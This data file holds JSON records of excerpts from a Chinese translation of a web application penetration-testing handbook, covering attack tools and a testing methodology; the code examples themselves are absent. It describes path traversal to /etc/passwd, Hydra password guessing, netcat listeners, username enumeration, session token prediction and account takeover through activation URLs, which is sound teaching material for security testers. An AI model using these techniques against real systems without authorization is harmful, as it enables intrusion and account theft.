    {"text": "浏览器首先向代理服务器发送标准的HTTP请求，不同之处在于，请求第一行的URL包含目标Web服务器的完整主机名称。 代理服务器将这个主机名称解析成一个IP地址，把请求转换为标准的非代理形式，然后将它转发给目标服务器。 当该服务器做出响应时，代理服务器就会将响应转发给客户端浏览器。 对于HTTPS通信，浏览器首先使用CONNECT方法向代理服务器提出一个明文请求，指定目标服务器的主机名称与端口。 如果使用普通的（非拦截）代理服务器，代理服务器就会以一个HTTP 200状态码做出响应，一直开放TCP连接，从此以后（对该连接而言）作为目标服务器的TCP级中 继。"},
    {"text": "图20-3 通过拦截代理服务器查看和修改HTTPS通信 当然，如果攻击者处在适当的位置，他就能够拦截浏览器与目标服务器之间的通信，并且不会被发现；"},
    {"text": "当然，当使用拦截代理服务器时，浏览器与代理 服务器都完全由攻击者控制，因此它们将接受伪造的证书，并允许代理服务器建立两条SSL信道。 图20-4 使用采用HTTPS通信的拦截代理服务器将在攻击者的浏览器中生成警告 使用浏览器测试使用单一域的应用程序时，以这种方式处理浏览器安全警告和接受代理服务器的自造证书通常不会遇到问题。"},
    {"text": "有关在不同浏览器上安装Burp CA证书的详细说明，请参阅位于以下URL的Burp Suite在线文档： http://portswigger.net/burp/help/servercerts.html 共同特性 除拦截和修改请求与响应这种核心功能外，拦截代理服务器还包含大量其他特性（如下所示），可帮助渗透测试员提高攻击Web应用程序的效率。"},
    {"text": "图20-6 代理服务器历史记录，允许攻击者通过代理服务器查看、过滤、搜索和标记请求和响应 用于动态修改请求与响应内容的自动匹配与替换规则。"},
    {"text": "2．Web应用程序爬虫 Web应用程序爬虫的工作机制与传统的Web爬虫类似：请求Web页面，解析这些页面，从中查找指向其他页面的链接，然后向它们提出请求；"},
    {"text": "图20-7 被动抓取结果，以灰色显示的条目没有经过请求，但通过被动抓取确认了 以表格和树状形式呈现所发现的内容，方便对这些结果进行搜索。"},
    {"text": "这样就可以指定爬虫抓取的主机名称、IP地址、目录路径、文件类型等，以对某一个特殊的功能区域进行抓取，防止爬虫访问目标应用程序基础架构之内或之外的无关链接。"},
    {"text": "这项功能还有助于防止爬虫抓取管理接口之类的强大功能，因为这样做可能会导致危险的负面影响，如删除用户账户。 它还可用于防止爬虫请求退出功能，使当前会话失效。"},
    {"text": "3．应用程序测试器 虽然仅使用手动技巧也可以成功实施攻击，但是，要成为一名真正成熟的Web应用程序渗透测试员，必须在攻击过程中利用自动化工具，提高攻击速度与效率。"},
    {"text": "渗透测试员可以利用这项功能准确控制使用哪些攻击字符串，以及如何将它们合并到请求中并审查其结果，确定任何有助于深入调查的不常见的或反常的响应。"},
    {"text": "用户不能仅仅提供起始URL并让扫描器抓取和测试应用程序，相反，用户可以指示扫描器如何测试应用程序，精确控制扫描哪些请求，并收到有关单个请求的实时反馈。"},
    {"text": "在Burp Suite中，可以在浏览器中激活实时扫描，然后使用浏览器指导扫描器的扫描范围，并迅速收到与提出的每个请求有关的反馈，而无须手动确定要扫描的请求。"},
    {"text": "图20-10 使用BurpScanner浏览时的实时扫描结果 虽然集成测试套件中的扫描器的设计用途不同于独立扫描器，但是，我们将在本章后面部分讲到，在某些情况下，这些扫描器的核心扫描引擎非常强大，其能力甚至优于主流的独立扫描器。"},
    {"text": "虽然非常简单，但在以下情况下，这项功能可提供极大帮助：尝试性地探查一个漏洞，需要多次手动发布同一个请求，并调整请求元素以确定应用程序的行为所受到的影响。"},
    {"text": "图20-12 使用BurpSequencer测试应用程序会话令牌的随机性 7．共享功能与实用工具 除核心组件外，集成测试套件还提供大量其他“附加值”功能，以满足渗透测试员在攻击Web应用程序时面临的特殊需求。"},
    {"text": "分析HTTP消息结构，包括解析消息头与请求的参数，以及解压常见序列化格式（见图20-13）。 图20-13 分析请求与响应的HTTP结构与参数 在响应中呈现HTML内容，就像在浏览器中那样。"},
    {"text": "这一操作将使用通过代理服务器传送的所有请求更新站点地图，并添加基于代理服务器传送的响应确定（通过解析链接、表单、脚本等）的项目。"},
    {"text": "通常，在测试漏洞时，可以从代理服务器拦截窗口、代理服务器历史记录或站点地图中选择项目，然后将这些项目传送给其他工具，以执行特定的任务。"},
    {"text": "例如，测试员可以从模糊测试攻击中选择某个感兴趣的项目，或选择由漏洞扫描器报告的问题，并将其传送给请求Repeater，以验证漏洞是否存在，或对攻击进行优化。"},
    {"text": "为实现特定的目的，可以引入其他工具，还可以以本节并未介绍的创新性方式，甚至连工具开发者都未想到的方式组合使用测试套件的各个组件。"},
    {"text": "在需要使用非标准的验证方法直接或通过企业代理服务器访问应用程序，或者应用程序使用不常用的客户端SSL证书或浏览器扩展时，往往需要使用替代工具。"},
    {"text": "在这些情况下，因为拦截代理服务器会中断客户端与服务器之间的HTTP连接，使用基于代理服务器的工具可能无法访问应用程序的一部分或全部功能。"},
    {"text": "1．Tamper Data Tamper Data是一个Firefox浏览器扩展。 任何时候，只要提交一个表单，Tamper Data就会弹出一个对话框，显示与请求有关的所有信息（包括HTTP消息头与参数），并允许查看和修改这些内容，如图20-15所示。 图20-15 在Firefox中使用TamperData修改HTTP请求 2．TamperIE TamperIE是一个Internet Explorer浏览器扩展，它的功能与Firefox浏览器的Tamper Data扩展的功能基本相同，如图20-16所示。 图20-16 在Internet Explorer中使用TamperIE修改HTTP请求"},
    {"text": "Web应用程序漏洞扫描器能够自动执行本书中介绍的各种测试技巧，包括应用程序抓取，查找默认与常见内容，以及探查常见的漏洞。 在解析应用程序的内容后，扫描器将浏览它的功能，在每个请求的每一个参数中提交一系列测试字符串，然后分析应用程序的响应，从中查找常见漏洞的签名。"},
    {"text": "还有些情况下，如果确定漏洞已经存在，扫描器会发送一个专门设计的请求，以触发它的签名。 如果签名出现在应用程序对这个请求的响应中，那么扫描器就可据此推断，漏洞确实存在。"},
    {"text": "一些路径遍历漏洞可通过提交一个针对某个已知文件（如win.ini或/etc/passwd）的遍历序列，然后在请求中搜索该文件是否出现，从而进行确定。"},
    {"text": "一些漏洞扫描器尝试检查上述某些漏洞。 例如，某些扫描器尝试以两个不同的用户身份登录，并确定一名用户无须正确授权即可访问的数据和功能，以此确定访问控制漏洞。"},
    {"text": "因此，虽然自动扫描器能够探查到应用程序中存在的大部分明显的漏洞，但它还是会遗漏许多这类漏洞，其中包括一些非常明显的漏洞，只要进行手动扫描即可探测到。"},
    {"text": "同样，对于当前必须经过严格测试的、更注重安全的应用程序而言，其中存在的漏洞更多的是那些出现在第二个列表而不是第一个列表中的漏洞。"},
    {"text": "而且，许多针对Web应用程序的攻击需要某种“即兴”处理，例如，部分避开有效的输入过滤，或者利用应用程序行为的几个不同方面为攻击创造条件。"},
    {"text": "一些攻击需要在一个多阶段处理过程的一个或几个阶段提交专门设计的输入，然后完成整个处理过程，并观察处理结果。 一些攻击需要改变应用程序执行某个多阶段处理的预定顺序。 一些攻击需要以专门设计的方式修改多个参数的值。 例如，一个XSS攻击需要在一个参数中插入一个特殊的值，使得应用程序生成错误消息；"},
    {"text": "20.3.3 扫描器面临的技术挑战 前面介绍的自动控制面临的障碍导致创建一个有效的漏洞扫描器必须解决许多特殊的技术 挑战。 这些挑战不仅会损害扫描器探查某些类型的漏洞的能力（如前所述），而且会损害它执行解析应用程序内容、探查漏洞等核心任务的能力。"},
    {"text": "其中一些挑战并非无法克服，如今的扫描器已新增了各种功能，可在一定程度上克服这些挑战。 但是，扫描并不是一种完美的解决方案，现代扫描技术的效率因不同应用程序而异。"},
    {"text": "当前，扫描器用户通过提供一段登录脚本，或者使用内置的浏览器完成验证过程，帮助扫描器按照特定的步骤获得通过验证的会话，从而解决验证方面的问题。"},
    {"text": "造成会话失效的原因很多，例如，因为扫描器请求了退出功能，或者因为扫描器进行了反常导航或提交了某种无效的输入，导致应用程序终止了会话。"},
    {"text": "3．“个性化”功能 许多时候，纯粹对应用程序进行语法分析并不能准确判定它的核心功能： 一些应用程序虽包含数目庞大的内容，但它们体现的却是一组相同的核心功能。"},
    {"text": "除上述解析和探查应用程序过程中出现的明显问题外，在报告已发现的漏洞过程中也出现了一个相关的问题：纯粹基于语法进行分析的扫描器很可能会重复报告同一个漏洞。 例如，一个扫描报告确定了200个XSS漏洞，其中有195个出现在扫描器多次探查的同一项应用程序功能中，因为这个漏洞通过不同的语法内容出现在不同的场合中。"},
    {"text": "此外，当前Web应用程序高度状态化，以及复杂数据在客户端和服务器端上保存并通过这二者之间的异步通信进行更新的特点，都会为大多数倾向于单独处理每个请求的全自动扫描器制造问题。"},
    {"text": "以下是一些最主要的扫描器： Acunetix AppScan Burp Scanner Hailstorm NetSparker N-Stalker NTOSpider Skipfish WebInspect 虽然大多数成熟扫描器都具备相同的核心功能，但是，在如何检测不同漏洞区域，以及向用户提供的功能方面，这些扫描器之间仍然存在差异。"},
    {"text": "尽管人们进行了各种测试来评估不同扫描器在检测不同类型的安全漏洞方面的性能，但是，这类测试始终仅限于将扫描器用于扫描一小段存在缺陷的示例代码，因此，这些测试结果并不足以推断扫描器在各种实际情况下的性能。"},
    {"text": "加州大学圣芭芭拉分校的一项此类学术研究声称其“在所测试的工具数量……以及所分析的漏洞类型方面，是最大规模的Web应用程序扫描器评估”。"},
    {"text": "有关此项研究的报告，请从以下URL下载： www.cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf 这项研究的主要结论如下： 即使是最先进的扫描器，也无法检测出所有类型的漏洞，包括脆弱密码、访问控制不完善和逻辑缺陷。"},
    {"text": "由于对常用客户端技术支持不完全，以及当前应用程序的复杂状态化特点，就目前的Web漏洞扫描器而言，抓取现代Web应用程序可能是一项严峻的挑战。"},
    {"text": "表20-1 UCSB针对不同扫描器的漏洞检测性能与价格的研究报告 扫 描 器 分 数 价 格 Acunetix 14 4995～6350美元 WebInspect 13 6000～30 000美元 Burp Scanner 13 191美元 N-Stalker 13 899～6299美元 AppScan 10 17 550～32 500美元 w3af 9 免费 Paros 6 免费 HailStorm 6 10 000美元 NTOSpider 4 10 000美元 MileSCAN 4 495～1495美元 Grendel-Scan 3 免费 需要注意的是，近年来，扫描器的扫描能力已有了显著提高，并可能会继续改进。"},
    {"text": "20.3.5 使用漏洞扫描器 现实情况下，使用漏洞扫描器的效率高低很大程度上取决于所针对的是何种应用程序。 根据应用程序的功能及其包含的漏洞种类，我们上面介绍的扫描器的内在优缺点会以不同的方式影响不同的应用程序。 对于Web应用程序中存在的各种常见漏洞，自动扫描器能够发现其中大约一半的漏洞，它们大多都带有一个标准签名。 在扫描器能够探测到的各种漏洞中，尽管会遗漏那些难以发现与不常见的漏洞，但它们能够很好地确认特定的漏洞。 总之，进行自动扫描能够确定一个常见应用程序中存在的一些但并非全部明显的漏洞。 如果是一名渗透测试新手，或者需要在有限的时间内攻击一个大型应用程序，那么进行自动扫描的好处极其明显，因为它能够迅速确定一些需要进行深入手动调查的线索，并帮助初步确定应用程序的安全状态以及其中存在的漏洞类型。"},
    {"text": "如果是一名Web应用程序渗透测试专家，并且希望从目标应用程序中发现尽可能多的漏洞，那么，需要认识漏洞扫描器的内在局限性，并且不能完全相信它们，认为它们能够发现每一个漏洞。"},
    {"text": "熟悉扫描器的功能，知道如何对其进行配置，对某个应用程序进行有效扫描。 在运行扫描器之前全面了解目标应用程序，以充分利用扫描器的功能。"},
    {"text": "如果用户对于Web应用程序安全不甚了解，或需要快速评估某个应用程序，或需要经常处理大量应用程序，则可以通过全自动化扫描了解应用程序的一部分受攻击面。"},
    {"text": "如果用户了解Web应用程序安全测试的整个过程，以及全自动化测试的限制，则最好是使用集成测试套件中的扫描器，从而为手动测试过程提供支持，并提高手动测试的效率。"},
    {"text": "此外，由于可以收到有关扫描器活动的直接反馈，因而可以确保避免与验证和会话处理机制有关的问题，并确保正确处理多阶段过程和有状态功能造成的问题。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 20.4 其他工具 除前面讨论的工具外，在特殊情况下或执行特殊任务时渗透测试员还可以使用许多其他工具。在本章的剩余部分，我们将介绍其他几种攻击应用程序时可能遇到或需要使用的工具。需要注意的是，以下内容仅仅简要介绍了笔者曾使用的一些工具。建议渗透测试员调查各种可用的工具，并选择最适合自己需求和测试风格的那些工具。 20.4.1 Wikto/Nikto Nikto可确定Web服务器上默认或常见的第三方内容。它包含一个大型文件和目录数据库，其中含有Web服务器上的默认页面与脚本以及购物篮之类的第三方软件。基本上，这个工具轮流请求上述每一种项目，然后探查它们是否存在。 数据库会频繁更新，这意味着Nikto能够比其他任何自动或手动技巧更有效地确定这种类型的内容。 Nikto包含大量可通过命令行或基于文本的配置文件指定的配置选项。如果应用程序使用定制化“未发现”页面，渗透测试员可以通过使用–404设置避免错误警报，该设置允许指定一个出现在定制错误页面中的字符串。 Wikto是Nikto的Windows版本，该版本新增了一些功能，如增强了对“未发现”响应的检测和Google辅助的目录挖掘。 20.4.2 Firebug Firebug是一种浏览器调试工具，使用它可以在当前显示的页面上调试和编辑HTML及 JavaScript脚本，还可以通过它浏览和编辑DOM。 Firebug具有非常强大的功能，可用于分析和利用一系列客户端攻击，包括各种跨站点脚本、请求伪造、UI伪装和跨域数据捕获攻击（如第13章所述）。 20.4.3 Hydra Hydra是一种用途广泛的密码猜测工具，可用于攻击Web应用程序常用的基于表单的验证。当然，也可以使用Burp Intruder之类的工具以完全定制的方式实施这种攻击；但是，在许多情况下，Hydra也一样有用。 可以使用Hydra指定目标URL、相关请求参数、攻击用户名和密码字段的单词列表，以及登录失败后返回的错误消息细节。–t设置可用于指定在攻击中使用的并行线程的数量。例如： 20.4.4 定制脚本 根据我们的经验，现有的各种非定制工具足以帮助渗透测试员完成在攻击Web应用程序时所需执行的绝大多数任务。但是，在各种反常情况下，需要自行建立完全定制的工具和脚本来解决特定的问题，如下所示。 应用程序使用一种不常见的会话处理机制，例如，需要使用必须按正确顺序重新提交的每页面令牌。 希望利用一个需要重复执行几个特殊步骤的漏洞，将在一个响应中获取的数据合并到随后的请求中。 如果确定一个潜在恶意的请求，应用程序会立即终止会话；同时，获得一个新的通过验证的会话需要采取几个非标准的步骤。 需要向应用程序所有者提供“指向并单击”利用过程，以演示该漏洞及其风险。 如果会编程，那么解决这个问题的最简单方法，就是创建一个完全定制的小型程序，使用它发布相关请求并处理应用程序的响应。可以把这个程序作为一个独立的工具，或者作为前面描述的集成测试套件的扩展，例如，通过使用Burp Extender接口扩展Burp Suite或Bean Shell接口扩展WebScarab。 Perl等脚本语言包含许多可用于迅速建立HTTP通信的库；通常，仅使用几行代码就可以执行定制任务。即使编程经验有限，也可以在因特网上找到一段脚本，然后对其进行调整，以满足需求。下面以一段简单的Perl脚本为例，它利用一个登录表单中的SQL注入漏洞进行递归查询，获取数据表中指定列中的所有值，并将获得的值从大到小排列（请参阅第9章了解这种攻击的更多详情）： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/addressbook/32/ 除内置命令与库外，还可以从Perl脚本与操作系统shell脚本中调用各种简单的工具和实用工具。下面分别介绍几个这样的工具。 1. Wget Wget是一个有用的工具，可使用HTTP或HTTPS获取一个特殊的URL。它支持“下行”代理服务器、HTTP验证和其他各种配置选项。 2. curl curl是一个用于发布HTTP与HTTPS请求的最灵活的命令行工具。它支持GET方法、POST方法、请求参数、客户端SSL证书和HTTP验证。在下面的示例中，重复检索页面标题，以获得10～40之间的页面ID值。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/app/ 3. netcat netcat是一个功能非常强大的工具，可用于执行各种与网络有关的任务；它还是许多初学者攻击教程的基础。可以使用它与服务器建立TCP连接，发送一个请求并获得它的响应。除以上用途外，netcat还可用于在计算机上创建网络监听器，接收所攻击的服务器建立的连接。请参阅第9章，了解使用这种技巧在数据库攻击中创建一个带外通道的实例。 netcat本身并不支持SSL连接；但将它与下面描述的stunnel工具结合，即可建立SSL连接。 4. stunnel stunnel在使用自己的脚本或其他本身并不支持HTTPS连接的工具时非常有用。stunnel可帮助渗透测试员与任何主机或服务器SSL套接字建立客户端SSL连接，以监听任何客户端提出的连接请求。由于HTTPS只是一种通过SSL传送的简单HTTP协议，因此可以使用stunnel为任何其他工具提供HTTPS能力。 例如，下面的命令配置stunnel在本地回环接口的88端口上建立一个简单的TCP服务器套接字。当收到一个连接时，它再与位于wahh-app.com的服务器进行SSL协议，通过SSL信道将进入的明文连接转送到这个服务器： 现在，可以将任何没有SSL能力的工具指向回环接口的88端口，使它通过HTTPS与目标服务器建立通信，代码如下： 黑客攻防技术宝典：Web实战篇（第2版） 20.5 小结 本书主要介绍的是攻击Web应用程序时渗透测试员可以使用的实用技巧。尽管只需要使用一个浏览器就可以完成其中一些任务，但是，要对应用程序实施全面有效的攻击，需要使用一些有用的工具。 拦截代理服务器是工具包中最重要、也是必不可少的工具，可以使用它查看和修改浏览器与服务器之间传送的所有流量。今天的代理服务器还与大量其他集成工具相互补充，这些工具可帮助渗透测试员自动完成所需要执行的许多任务。除使用上述工具套件外，还需要使用一个或几个浏览器扩展，帮助渗透测试员在无法使用代理服务器的情况下继续实施攻击。 Web应用程序扫描器是另一种重要工具。这些工具能够迅速有效地发现一系列常见的漏洞，并且能够解析和分析应用程序的功能。即便如此，还是有许多安全漏洞它们根本无法确定；因此，绝不能依赖它来确保任何应用程序的安全。 最后，要成为一名技术熟练的Web应用程序渗透测试员，还必须了解Web应用程序的运行机制、它们的防御机制的弱点，并了解如何探查其中存在的可被利用的漏洞。为了有效地完成这些任务，需要一些工具，以了解应用程序的逻辑，准确控制与应用程序的交互，并在必要时利用自动控制迅速可靠地实施攻击。那些对实现这些目标最有帮助的工具，就是最适合使用的工具。此外，如果现有的工具并不能满足需求，也可以建立自己的工具。事实上，做到这一点并不是很困难！"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 第21章 Web应用程序渗透测试方法论 本 章介绍一种详细的进阶方法论，渗透测试员在攻击Web应用程序时可将其作为指导思想。"},
    {"text": "虽然执行这个方法论中的所有步骤并不能确保发现某个应用程序中的所有漏洞，但是，它可以帮助探查应用程序受攻击面的所有必要区域，并利用有效的资源发现尽可能多的漏洞，这就为实现渗透测试目的提供了保证。"},
    {"text": "但是，实际上，渗透测试员往往需要发挥自己的想象，思考应采取的攻击方向，并根据所发现的有关目标应用程序的信息指导攻击方向，如下所示。"},
    {"text": "只要提交专门设计的特殊输入导致了与某个漏洞有关的行为（如一个特殊的错误消息），就应该重新核查，确定在相关参数中提交良性输入是否也会造成相同的行为。"},
    {"text": "通常，使用一个新的浏览器进程开始另一个会话，再使用良性请求导航至观测到发生反常的位置，然后重新提交专门设计的输入，就足以达到这个目的。"},
    {"text": "假设需要在咨询工作中采用这种方法，渗透测试员应当首先确定测试范围，明确了解测试包含的主机名、URL与功能以及允许执行的测试类型是否存在任何限制。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.1 解析应用程序内容 21.1.1 搜索可见的内容 （1）配置浏览器，使用首选集成代理/抓取工具。"},
    {"text": "21.1.3 发现隐藏的内容 （1）确定应用程序如何处理访问不存在的资源的请求。 手动提出一些请求，访问已知有效和无效的资源，比较应用程序对这些请求的响应，找到一种确定资源并不存在的简单方法。"},
    {"text": "21.1.5 枚举标识符指定的功能 （1）确定任何通过在请求参数中提交一个功能标识符（例如，/admin.jsp?action=editUser或/main.php?func=A21）访问特殊应用程序功能的情况。"},
    {"text": "例如，如果应用程序使用一个包含功能名称的参数，首先应该确定指定无效功能时应用程序的行为，设法找到一个确定被请求的功能确实有效的简单方法。"},
    {"text": "（2）使用常用调试参数名（如debug、test、hide和source）与常用参数值（如true、yes、on和1）列表，排出这些名称与值的全部组合，向每一个目标功能提交每个名/值对。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.2 分析应用程序 21.2.1 确定功能 图21-3 分析应用程序 （1）确定为使应用程序正常运行而建立的核心功能以及每项功能旨在执行的操作。 （2）确定应用程序采用的核心安全机制以及它们的工作机制。重点了解处理身份验证、会话管理与访问控制的关键机制以及支持它们的功能，如用户注册和账户恢复。 （3）确定所有较为外围的功能和行为，如重定向使用、站外链接、错误消息、管理与日志功能。 （4）确定任何与应用程序在其他地方使用的标准GUI外观、参数命名或导航机制不一致的功能，然后将其挑选出来以进行深入测试。 21.2.2 确定数据进入点 （1）确定在应用程序中引入用户输入的所有进入点，包括URL、查询字符串参数、POST数据、cookie与其他由应用程序处理的HTTP消息头。 （2）分析应用程序使用的所有定制数据传输或编码机制，如非常规的查询字符串格式。了解被提交的数据是否包含参数名与参数值，或者是否使用了其他表示方法。 （3）确定所有在应用程序中引入用户可控制或其他第三方数据的带外通道，例如，处理和显示通过SMTP收到的消息的Web邮件应用程序。 21.2.3 确定所使用的技术 （1）确定客户端使用的各种不同技术，如表单、脚本、cookie、Java applet、ActiveX控件与Flash对象。 （2）尽可能确定服务器端使用的技术，包括脚本语言、应用程序平台以及与数据库和电子邮件系统等后端组件的交互。 （3）检查在应用程序响应中返回的HTTP Server消息头，查找定制HTTP消息头或HTML源代码注释中出现的其他任何软件标识符。注意，有时候，不同的应用程序区域由不同的后端组件处理，因此渗透测试员可能会收到不同的标识符。 （4）运行Httprint工具，为Web服务器做“指纹标识”。 （5）检查内容解析过程中获得的结果，确定所有有助于了解服务器端所使用技术的文件扩展名、目录或其他URL序列。检查所有会话令牌和其他cookie的名称。同时，使用Google搜索与这些内容有关的技术。 （6）分确定任何看似有用的、属于第三方代码组件的脚本名称与查询字符串参数。在Google中使用inurl:限定词搜索这些内容，查找所有使用相同脚本与参数、并因此使用相同第三方组件的应用程序。对这些站点进行非入侵式的审查，这样做可能会发现其他在攻击的应用程序中没有明确链接的内容和功能。 21.2.4 解析受攻击面 （1）设法确定服务器端应用程序的内部结构与功能以及用于实现客户端可见行为的后台机制。例如，获取客户订单的功能可能与数据库进行交互。 （2）确定各种与每一项功能有关的常见漏洞。例如，文件上传功能可能易于受到路径遍历攻击；用户间通信可能易于受到XSS攻击；“联络我们”功能可能易于受到SMTP注入攻击。请参阅第4章了解与特定功能和技术有关的常见漏洞实例。 （3）制订一个攻击计划，优先考虑最有用的功能以及与它有关的最严重的潜在漏洞。使用这份计划作为指导，决定应对本章讨论的方法的其他区域投入多少时间和精力。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.3 测试客户端控件 图21-4 测试客户端控件 21.3.1 通过客户端传送数据 （1）在应用程序中，确定隐藏表单字段、cookie和URL参数明显用于通过客户端传送数据的所有情况。"},
    {"text": "（4）如果应用程序通过客户端传送模糊数据，渗透测试员可以以各种方式攻击这种传输机制。 如果数据被模糊处理，渗透测试员可以破译所使用的模糊算法，从而在模糊数据中提交任意数据。"},
    {"text": "如果应用程序接受修改后的参数值，那么应当把ViewState当做在应用程序中引入任意数据的一个输入渠道，并对它包含的数据执行与其他请求参数相同的测试。"},
    {"text": "因此，应该仔细审查应用程序实施的确认机制，弄清应用程序是否依赖客户端控件保护自身，阻止畸形输入，以及这些输入是否可触发任何可被利用的条件。"},
    {"text": "（4）检查每一个HTML表单，确定所有禁用的元素，如灰色提交按钮，例如： 如果发现任何禁用的元素，就与其他表单参数一起提交这些元素，确定该元素是否会对应用程序的处理逻辑造成影响，渗透测试员可在攻击过程中利用这些影响。"},
    {"text": "21.3.3 测试浏览器扩展组件 1．了解客户端应用程序的操作 （1）为正在测试的客户端技术设置一个本地拦截代理服务器，并监视客户端与服务器之间的所有流量。"},
    {"text": "例如： 以下是一些适用于反编译不同浏览器扩展组件的工具： Java——Jad Flash——SWFScan，Flasm/Flare Silverlight——.NET Reflector 如果applet被压缩成JAR、XAP或SWF文件，可以使用WinRar或WinZip等标准档案读取工具将其解压。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.4 测试验证机制 图21-5 测试验证机制 21.4.1 了解验证机制 （1）确定应用程序使用的验证技术（如表单、证书或多元机制）。"},
    {"text": "21.4.2 测试密码强度 （1）在应用程序中查找有关用户密码最小强度规则的说明。 （2）尝试使用所有自我注册或密码修改功能，设定各种脆弱密码，确定应用程序实际应用的密码强度规则。"},
    {"text": "分析服务器对每一个请求的响应的各方面细节，包括HTTP状态码、任何重定向、屏幕上显示的信息、任何隐藏在HTML页面源代码中的差异以及服务器做出响应的时间。"},
    {"text": "（3）如果从提交有效和无效用户名返回的响应中发现任何差异，那么使用另外一组用户名重复进行测试，确定响应之间是否存在相同模式的差异，以此作为自动化用户名枚举的基础。"},
    {"text": "（4）检查应用程序中任何其他可帮助获得一组有效用户名的信息泄露源，例如，日志功能、注册用户列表以及在源代码注释中直接提及姓名或电子邮件地址的情况。"},
    {"text": "（3）即使其中保存的数据经过严密编码或模糊处理，也要仔细分析这些数据，并比较“记住”几个非常类似的用户名和密码的结果，找到任何可对原始数据进行逆向工程的机会。"},
    {"text": "21.4.7 测试伪装功能 （1）如果应用程序包含任何明确的功能，允许一名用户伪装成另一名用户，那么仔细审查这项功能，查找所有允许未经正确授权即可伪装成任意用户的漏洞。"},
    {"text": "（5）如果应用程序接受相互冲突的用户名与密码，并且不产生错误，那么使用相互冲突的证书登录，确定应用程序的行为，以及是否可以利用这种行为不经授权即可访问其他用户的账户。"},
    {"text": "21.4.9 测试证书的可预测性 （1）如果用户名或密码由应用程序自动生成，设法获得几个紧密相连的用户名或密码，确定任何可探测的顺序或模式。"},
    {"text": "21.4.10 检测不安全的证书传输 （1）遍历所有需要传输证书、与验证有关的功能，包括主登录功能、账户注册功能、密码修改功能以及允许查看或更新用户个人信息的页面。"},
    {"text": "（3）如果证书在URL查询字符串中传输，那么这些证书可能会通过浏览器历史记录、屏幕、服务器日志以及Referer消息头（如果访问第三方链接）泄露。"},
    {"text": "（4）如果证书被保存在cookie中，可能会通过XSS攻击或本地隐私攻击泄露。 （5）如果证书被从服务器传送回客户端，攻击者就可以利用会话管理或访问控制漏洞，或者通过XSS攻击获取这些证书。 （6）如果证书通过未加密连接传送，它们很可能被窃听者拦截。"},
    {"text": "21.4.11 检测不安全的证书分配 （1）如果应用程序通过某种带外通道创建账户，或者它提供的自我注册功能本身并不决定用户使用的全部初始证书，那么应该确定应用程序采用什么方法向新用户分配证书。"},
    {"text": "（2）如果应用程序生成以带外方式分配的账户激活URL，尝试注册几个紧密相连的新账户，并确定收到的URL中的顺序。 如果能确定某种模式，努力预测应用程序发送给最近与后续用户的URL，并尝试使用这些URL占有他们的账户。 （3）尝试多次重复使用同一个激活URL，看看应用程序是否允许这样做。 如果遭到拒绝，尝试在重复使用URL之前锁定目标账户，看看URL是否仍然可用。"},
    {"text": "21.4.13 测试逻辑缺陷 1．测试故障开放条件 （1）对于要求应用程序检查用户证书的每一项功能（包括登录与密码修改功能），使用受控制的账户以正常方式访问这些功能。"},
    {"text": "2．测试多阶段处理机制 （1）如果任何与验证有关的功能需要在一系列不同的请求中提交证书，确定每个阶段的主要目的，同时注意每个阶段提交的参数。"},
    {"text": "轮流直接进入每一个阶段，然后按正常的顺序访问后续步骤； 几次访问上述功能，轮流省略每一个阶段，然后在后一个阶段继续按正常的顺序访问；"},
    {"text": "（3）确定是否有任何一项信息（如用户名）在几个阶段被提交，或者是因为用户提交了它几次，或者是因为它通过客户端在隐藏表单字段、cookie或预先设置的查询字符串参数中传送。"},
    {"text": "21.4.14 利用漏洞获取未授权访问 （1）分析在各种验证功能中发现的所有漏洞，确定所有可在攻击应用程序过程中用于实现自己的目标的漏洞。"},
    {"text": "例如，当对登录功能实施用户名枚举攻击时，在请求中提交一个常用的而不能完全随机的密码，以免在每一个发现的用户 名上浪费一次登录失败尝试。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.5 测试会话管理机制 图21-6 测试会话管理机制 21.5.1 了解会话管理机制 （1）分析应用程序用于管理会话与状态的机制。"},
    {"text": "（3）为确定应用程序到底使用哪些数据作为令牌，找到一个确信依赖会话的页面（如某一名用户的“用户资料”页面）或功能，并向它提出几个请求，系统性地删除怀疑被用作令牌的数据项。 如果删除某个数据项后，应用程序不再返回依赖会话的页面，即可确定该数据项为会话令牌。"},
    {"text": "如果应用程序允许自我注册，就可以选择自己的用户名，用一系列存在细微差别的相似用户名登录，如A、AA、AAA、AAAA、AAAB、AAAC、AABA等。"},
    {"text": "如果其他与某一名用户有关的数据（如电子邮件地址）在登录阶段提交或保存在用户资料中，对其进行与前面类似的系统化修改，并截获收到的令牌。"},
    {"text": "21.5.3 测试令牌的可预测性 （1）使用一个可使服务器返回一个新令牌的请求（例如一个成功登录请求），生成并截获大量紧密相连的会话令牌。"},
    {"text": "（3）如果已经确定了所有模式，使用一个不同的IP地址与用户名截获另一组令牌样本，确定是否可以探查到相同的模式，或者是否可以对第一组令牌进行推导，猜测出第二组令牌。"},
    {"text": "21.5.4 检查不安全的令牌传输 （1）以正常方式访问应用程序，从“起始”URL中的未通过验证的内容开始，到登录过程，再到应用程序的全部功能。"},
    {"text": "（2）如果应用程序使用HTTP cookie传送会话令牌，应确认其是否设置了安全标记，防止通过HTTP连接传送令牌。 （3）在正常使用应用程序的情况下，确定会话令牌是否通过HTTP连接传送。"},
    {"text": "（4）如果应用程序在未通过验证的区域使用HTTP，然后在登录或通过验证的区域转换到HTTPS，那么确认应用程序是否为HTTPS通信发布一个新的令牌，或者应用程序在转换到HTTPS后是否仍然使用HTTP阶段的令牌。"},
    {"text": "21.5.5 检查在日志中泄露的令牌 （1）如果在应用程序解析过程中能确定任何日志、监控或诊断功能，应仔细检查这些功能，确定它们是否泄露任何会话令牌。"},
    {"text": "（3）如果能够收集到发布给其他用户的有效会话令牌，就对每个令牌进行测试，确定它是否属于管理用户（例如，尝试使用令牌访问某个特权功能）。"},
    {"text": "尝试修改与用户有关的所有令牌成分，使其指向其他已知的应用程序用户，并确定修改后的令牌是否被应用程序接受，以及能够让攻击者伪装成该用户。"},
